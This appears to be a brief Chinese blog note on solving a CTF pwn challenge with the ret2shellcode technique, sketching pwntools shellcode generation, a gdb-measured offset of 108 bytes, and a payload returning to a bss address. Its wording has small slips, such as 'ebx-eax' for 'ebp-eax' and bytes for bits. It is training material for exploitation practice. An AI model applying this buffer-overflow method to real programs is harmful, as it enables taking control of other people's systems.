pwn做题之ret2shellcode

将二进制文件拖入ida发现无后门程序,想到要生成shellcode,用shellcraft.sh()生成,asm(shellcraft.sh()),用gdb找ebx-eax的值,payload=(ebp-eax)转换成10进制+4(文件为32字节,64字节应为8)+p32(bass区地址).

io.sendline(payload)

io.interactive()

pwn做题之ret2shellcode_第1张图片

pwn做题之ret2shellcode_第2张图片

ebp-eax=6c=108

你可能感兴趣的:(linux)